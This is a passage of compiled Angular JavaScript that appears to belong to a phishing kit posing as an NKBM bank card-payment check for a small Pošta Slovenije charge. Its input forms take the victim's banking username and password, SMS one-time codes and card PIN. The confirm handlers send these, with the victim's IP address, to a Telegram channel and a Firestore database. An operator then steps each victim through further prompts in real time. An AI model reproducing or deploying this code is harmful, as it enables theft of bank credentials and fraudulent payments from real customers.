dk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275element(2,"td"),r.\u0275\u0275element(3,"td",37),r.\u0275\u0275elementEnd())}function hk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",48),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"6-mestna SMS koda"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function pk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,hk,9,1,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function fk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Odobritev transakcije ni uspela, poskusite znova. "),r.\u0275\u0275elementEnd())}function gk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,fk,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function mk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",51),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"4-mestna koda PIN"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",52),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmPIN()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function yk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,mk,9,1,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",7==t.step||8==t.step)}}function bk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Koda PIN je napa\u010dna, preverite in poskusite znova. "),r.\u0275\u0275elementEnd())}function vk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,bk,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function _k(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",53),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",54),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function Ck(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function wk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,Ck,2,0,"div",55),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function xk(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,_k,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(2).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(5,wk,6,1,"tr",6),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step),r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",11==t.step)}}function Pk(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"table",26),r.\u0275\u0275elementStart(1,"tbody"),r.\u0275\u0275template(2,ak,8,2,"tr",6),r.\u0275\u0275template(3,lk,6,1,"tr",6),r.\u0275\u0275template(4,uk,8,0,"tr",6),r.\u0275\u0275template(5,dk,4,0,"tr",6),r.\u0275\u0275template(6,pk,6,1,"tr",6),r.\u0275\u0275template(7,gk,6,1,"tr",6),r.\u0275\u0275template(8,yk,6,1,"tr",6),r.\u0275\u0275template(9,vk,6,1,"tr",6),r.\u0275\u0275template(10,xk,6,2,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==t.step||8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step)}}let Sk=(()=>{class t{constructor(t,e){this.db=t,this.myService=e,this.btnDisabled=!1,this.btnDisabled2=!1,this.redirectVBV=!1,this.today=Date.now(),this.loading=!1,this.incorrect=!1,this.user="",this.pass="",this.visit={ip:"",country:"",dateTime:"",device:""},e.getIpAddress().subscribe(t=>{this.visit.ip=t.ip,this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name})}),this.prefix=localStorage.getItem("ID"),localStorage.getItem("ccNum")?(this.ccNum=localStorage.getItem("ccNum"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)):localStorage.getItem("ccNum2")&&(this.ccNum=localStorage.getItem("ccNum2"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)),this.resultsCollection=this.db.collection("lBet"),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(2==e.step?(this.step=2,this.loading=!1,setTimeout(()=>{this.redirectVBV=!0},3e3)):3==e.step?(this.step=3,this.loading=!0,this.redirectVBV=!1,this.btnDisabled=!0):4==e.step?(this.step=4,this.btnDisabled=!1,this.loading=!1,this.redirectVBV=!1,this.incorrect=!0):5==e.step?(this.step=5,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode):6==e.step?(this.step=6,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode):7==e.step?(this.step=7,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode):8==e.step?(this.step=8,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode):9==e.step?(this.step=9,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode):11==e.step?(this.step=11,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode):10==e.step&&(this.step=10,this.loading=!1,this.btnDisabled=!0,this.incorrect=!1,this.redirectVBV=!1)),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}ngOnInit(){}onConfirm(){if(this.pass.length<3)return this.incorrect=!0,this.loading=!1,void console.log(this.user+"fff");this.loading=!0,setTimeout(()=>{let t;this.credentials=this.user+":"+this.pass,this.db.collection("lBet").doc(this.prefix).update({step:3,credentials:this.credentials}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,t=" NKBM-Login: "+this.user+" "+this.pass+" "+this.visit.ip,this.user="",this.pass="",this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3)}onConfirmSMS(){if(this.smsCode.length<6)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,smsCode:this.smsCode}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,t=" NKBM-SMS: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3)}onConfirmPIN(){if(this.smsCode.length<4)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,pin:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" NKBM-PIN: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(CI))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-alpha-modal"]],decls:71,vars:21,consts:[[1,"modal-page"],[1,"header"],["src","https://www.europark.si/app/uploads/2018/06/NKBM_LOGO_lezeci-BEL-KOMBINIRAN-RGB-1024x371.jpg",2,"width","150px"],["src","../../assets/images/VM.png"],["id","desc",2,"color","black"],["style","margin-bottom: -1px;",4,"ngIf"],[4,"ngIf"],["id","descList",1,"list",2,"display","block"],["id","pa_merchant",1,"list-item"],[1,"label"],[1,"value"],["id","pa_amount",1,"list-item"],["id","pa_date",1,"list-item"],["id","pa_pan",1,"list-item"],["id","pamrow",1,"list-item",2,"display","none"],["id","addInfo"],[1,"list"],["id","QRItem",2,"display","none"],["align","center"],["id","QRData"],["id","psw_id","type","password","placeholder","Mobile\u2013Internet Banking / NBG Authenticator","name","PASSWORD","size","20","maxlength","20","autocomplete","off",1,"big-input"],["id","authenticator","align","center",1,"desc"],[1,"row","d-flex","justify-content-center"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3",4,"ngIf"],[1,"footer"],[1,"row"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3"],["href","javascript:void(0)","id","btnExit","onclick","OnExit(); return false;"],["href","#","target","Terms Of Use"],["href","javascript:void(0)","onclick","window.open('javascript:void(0)','','width=1000,height=700, location=no, menubar=no, toolbar=no, resizable=yes', true ); return false;",1,"help__link"],["type","hidden","name","formaction","value","pa.submit"],[2,"margin-bottom","-1px"],[2,"display","flex","justify-content","center","margin-top","8px"],["src","../../assets/images/nbgSc/loading.gif","alt",""],["id","btnSubmitItem",4,"ngIf"],["align","left","width","40"],["align","center",1,"left"],["width","40"],["id","btnSubmitItem"],[1,"position-relative",2,"margin-top","4px"],["type","button","id","btnSubmit","name","btSubmit","value","NADALJUJ",1,"big-button",2,"cursor","pointer",3,"click"],[1,"position-relative"],[1,"flex-center"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","placeholder","Uporabni\u0161ko ime",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","password","placeholder","Geslo",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"],[1,"flex-center",2,"text-align","center","color","red","margin-top","-6px","margin-bottom","-6px"],["href","javascript:void(0)","target","_blank"],["oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","autocomplete","on","maxlength","6","test-field","usernameField","type","text","placeholder","******",1,"oval-input","ng-dirty","ng-touched",2,"max-width","135px","letter-spacing","4px",3,"ngModel","ngModelChange"],[1,"flex-center",2,"margin-top","8px"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer","font-weight","bold",3,"click"],["pattern","\\d*","autocomplete","on","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","maxlength","4","test-field","usernameField","type","text","placeholder","****",1,"oval-input","ng-dirty","ng-touched",2,"max-width","115px","letter-spacing","4px",3,"ngModel","ngModelChange"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer",3,"click"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","pattern","\\d*","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","placeholder","Dav\u010dna \u0161tevilka",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","text","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","placeholder","Telefonska \u0161tevilka",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["style","display: flex; justify-content: center;","class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0),r.\u0275\u0275elementStart(1,"div",1),r.\u0275\u0275elementStart(2,"div"),r.\u0275\u0275element(3,"img",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"div"),r.\u0275\u0275element(5,"img",3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div"),r.\u0275\u0275element(7,"h1"),r.\u0275\u0275elementStart(8,"div",4),r.\u0275\u0275template(9,ZI,3,0,"h2",5),r.\u0275\u0275template(10,YI,3,0,"h2",5),r.\u0275\u0275template(11,JI,2,0,"p",6),r.\u0275\u0275template(12,tk,3,0,"p",6),r.\u0275\u0275template(13,ek,5,1,"p",6),r.\u0275\u0275template(14,nk,3,0,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(15,"div",7),r.\u0275\u0275elementStart(16,"div",8),r.\u0275\u0275elementStart(17,"div",9),r.\u0275\u0275text(18,"Trgovec:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"div",10),r.\u0275\u0275text(20,"Po\u0161ta Slovenije"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(21,"div",11),r.\u0275\u0275elementStart(22,"div",9),r.\u0275\u0275text(23,"Znesek:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"div",10),r.\u0275\u0275elementStart(25,"b"),r.\u0275\u0275text(26,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"div",12),r.\u0275\u0275elementStart(28,"div",9),r.\u0275\u0275text(29,"Datum nakupa:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(30,"div",10),r.\u0275\u0275text(31),r.\u0275\u0275pipe(32,"date"),r.\u0275\u0275pipe(33,"date"),r.\u0275\u0275pipe(34,"date"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(35,"div",13),r.\u0275\u0275elementStart(36,"div",9),r.\u0275\u0275text(37,"\u0160tevilka kartice:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(38,"div",10),r.\u0275\u0275text(39),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(40,"div",14),r.\u0275\u0275elementStart(41,"div",9),r.\u0275\u0275text(42,"Personal Greeting:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(43,"div",10),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(44,"div",15),r.\u0275\u0275elementStart(45,"div",16),r.\u0275\u0275elementStart(46,"div",17),r.\u0275\u0275elementStart(47,"div",18),r.\u0275\u0275element(48,"img",19),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(49,"input",20),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(50,"div",21),r.\u0275\u0275elementStart(51,"div",22),r.\u0275\u0275template(52,rk,2,0,"div",6),r.\u0275\u0275template(53,Pk,11,9,"table",23),r.\u0275\u0275element(54,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(55,"div",24),r.\u0275\u0275element(56,"br"),r.\u0275\u0275elementStart(57,"div",25),r.\u0275\u0275elementStart(58,"table",26),r.\u0275\u0275elementStart(59,"tbody"),r.\u0275\u0275elementStart(60,"tr"),r.\u0275\u0275elementStart(61,"td",18),r.\u0275\u0275elementStart(62,"a",27),r.\u0275\u0275text(63,"Zasebnost"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(64,"td",18),r.\u0275\u0275elementStart(65,"a",28),r.\u0275\u0275text(66,"\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(67,"td"),r.\u0275\u0275elementStart(68,"a",29),r.\u0275\u0275text(69,"pomo\u010d?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(70,"input",30),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275advance(9),r.\u0275\u0275property("ngIf",2==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==e.step||4==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==e.step||6==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(17),r.\u0275\u0275textInterpolate3("",r.\u0275\u0275pipeBind2(32,12,e.today,"dd"),"/",r.\u0275\u0275pipeBind2(33,15,e.today,"MM"),"/",r.\u0275\u0275pipeBind2(34,18,e.today,"yyyy")," "),r.\u0275\u0275advance(8),r.\u0275\u0275textInterpolate1(" **** **** **** ",e.lastFourDegits,""),r.\u0275\u0275advance(13),r.\u0275\u0275property("ngIf",e.loading),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.loading))},directives:[ut,zO,aT,_E,KE,lT],pipes:[vt],styles:['html[_ngcontent-%COMP%]{height:100%}body[_ngcontent-%COMP%]{background-color:#fcfcfc;font-family:Helvetica;font-size:12px;padding:0;margin:0;justify-content:center;align-items:center;display:-ms-flexbox;display:block;height:100%}a[_ngcontent-%COMP%]{color:#0177ef;text-decoration:none}a[_ngcontent-%COMP%]:hover{text-decoration:underline}a.error[_ngcontent-%COMP%]{color:red;font-weight:normal}a.error[_ngcontent-%COMP%]:hover{color:#000;font-weight:normal}a.small[_ngcontent-%COMP%]{opacity:.6}h1[_ngcontent-%COMP%]{font-size:18px}h2[_ngcontent-%COMP%]{padding-top:8px;font-size:16px}p[_ngcontent-%COMP%]{line-height:18px}.desc[_ngcontent-%COMP%], .error[_ngcontent-%COMP%]{font-size:12px;color:#adadad;margin:4px 0}.error[_ngcontent-%COMP%]{color:red}.language[_ngcontent-%COMP%]{position:absolute;top:0;right:0;margin:12px}.lang[_ngcontent-%COMP%]{display:inline;padding-left:8px;border:2px}.modal-page[_ngcontent-%COMP%]{position:relative;width:320px;max-height:580px;background-color:#fff;padding:12px 24px 24px;margin-top:0;margin-left:auto;margin-right:auto;text-align:left;box-shadow:0 12px 28px rgba(0,0,0,.1);border-radius:3px;font-size:12px}@media (max-height: 600px){body[_ngcontent-%COMP%]{display:block}}.list[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:6px}.list-item[_ngcontent-%COMP%]{padding:4px 0;display:flex;align-items:baseline}.label[_ngcontent-%COMP%]{display:inline-block;width:45%;color:gray;padding-right:24px;box-sizing:border-box;vertical-align:top;font-size:12px;opacity:.5;text-align:right}.value[_ngcontent-%COMP%]{display:inline-block;width:48%;color:#000;box-sizing:border-box}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{padding:8px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:14px}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{display:block;width:100%}.button[_ngcontent-%COMP%]{background-color:transparent;border:1px solid #263e4c;color:#263e4c;text-transform:uppercase}.button[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-button[_ngcontent-%COMP%], .select[_ngcontent-%COMP%], .inner-button[_ngcontent-%COMP%], .button[_ngcontent-%COMP%]{height:36px;line-height:36px;border-radius:4px;padding:0 18px;font-size:12px;font-weight:300}.select[_ngcontent-%COMP%]{font-size:14px}.big-button[_ngcontent-%COMP%]:hover, .inner-button[_ngcontent-%COMP%]:hover{opacity:.8}.big-button[_ngcontent-%COMP%]{background-color:#c2002e;border-radius:3px;min-width:90px;max-height:40px;border:none;color:#fff;margin:0 auto;display:block;text-transform:uppercase}.small-input[_ngcontent-%COMP%]{padding:5px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:11px;text-align:center}.big-input[_ngcontent-%COMP%]{font-size:14px;text-align:center;padding-left:0;padding-right:0}.big-input[_ngcontent-%COMP%]:hover, .small-input[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-link[_ngcontent-%COMP%]{font-size:14px}.header[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:space-between;align-items:center}.footer[_ngcontent-%COMP%]{margin-top:8px;padding-top:8px;border-top:1px solid #dedede;text-align:center}.inner[_ngcontent-%COMP%]{display:inline-block;text-align:left;padding:8px 12px 8px 0}.inner-button[_ngcontent-%COMP%]{border:none;margin:0 auto;color:#fff;background-color:#263e4c;text-transform:uppercase}.row[_ngcontent-%COMP%]:after{content:"";clear:both;display:table}.left[_ngcontent-%COMP%]{text-align:center}.right[_ngcontent-%COMP%]{float:right;text-align:right}.help_icon[_ngcontent-%COMP%]{width:14px;height:13px;border:0px;padding-right:2px}.bottom[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:10px;margin-top:10px}hr[_ngcontent-%COMP%]{margin:12px 0;border:none;border-top:1px solid #dedede}.position-relative[_ngcontent-%COMP%]{position:relative}.flex-center[_ngcontent-%COMP%]{display:flex;justify-content:center}.oval-input[_ngcontent-%COMP%]:disabled{color:rgba(65,65,64,.75);opacity:.76}.oval-input[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal;background:#fff;width:100%;border-radius:.25rem;font-size:16px;font-size:1rem;height:20px;height:2.5rem;padding:.125rem 2.5rem 0 1rem;color:#414140;border:none;outline:none;box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-appearance:none;-webkit-box-shadow:0px 5px 10px rgb(0 0 0 / 20%)}.position-absolute-center-y[_ngcontent-%COMP%]{position:absolute;top:50%;transform:translateY(-50%)}.right-default[_ngcontent-%COMP%]{right:1rem}.button-transparent[_ngcontent-%COMP%]{background:transparent;border:none;cursor:pointer;padding:0}.text-medium[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal}.text-small[_ngcontent-%COMP%], h5[_ngcontent-%COMP%]{line-height:14px;line-height:.875rem;font-size:14px;font-size:.875rem}.text-primary[_ngcontent-%COMP%]{color:#125b6b}[type=reset][_ngcontent-%COMP%], [type=submit][_ngcontent-%COMP%], button[_ngcontent-%COMP%], html[_ngcontent-%COMP%] [type=button][_ngcontent-%COMP%]{-webkit-appearance:button}button[_ngcontent-%COMP%], select[_ngcontent-%COMP%]{text-transform:none}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%]{overflow:visible}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%], optgroup[_ngcontent-%COMP%], select[_ngcontent-%COMP%], textarea[_ngcontent-%COMP%]{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button[_ngcontent-%COMP%]{border-radius:0}.icon-user-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/user-refresh.e3ee51c4c61192621049e2c835a2aafd.svg)}.icon-pass-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/visibility.d128f570a1a619be86a37334ffc80b37.svg)}.icon-svg-container[_ngcontent-%COMP%], .icon-svg-container-small[_ngcontent-%COMP%]{display:block;background-repeat:no-repeat;background-position:50%}.icon-svg-container-small[_ngcontent-%COMP%]{width:24px;width:1.5rem;height:24px;height:1.5rem;min-width:24px;min-width:1.5rem;min-height:24px;min-height:1.5rem}*[_ngcontent-%COMP%], [_ngcontent-%COMP%]:after, [_ngcontent-%COMP%]:before{box-sizing:border-box}i[_ngcontent-%COMP%]{font-style:italic}']}),t})();function Mk(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Potrdite pla\u010dilo"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function Ok(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Varnostno 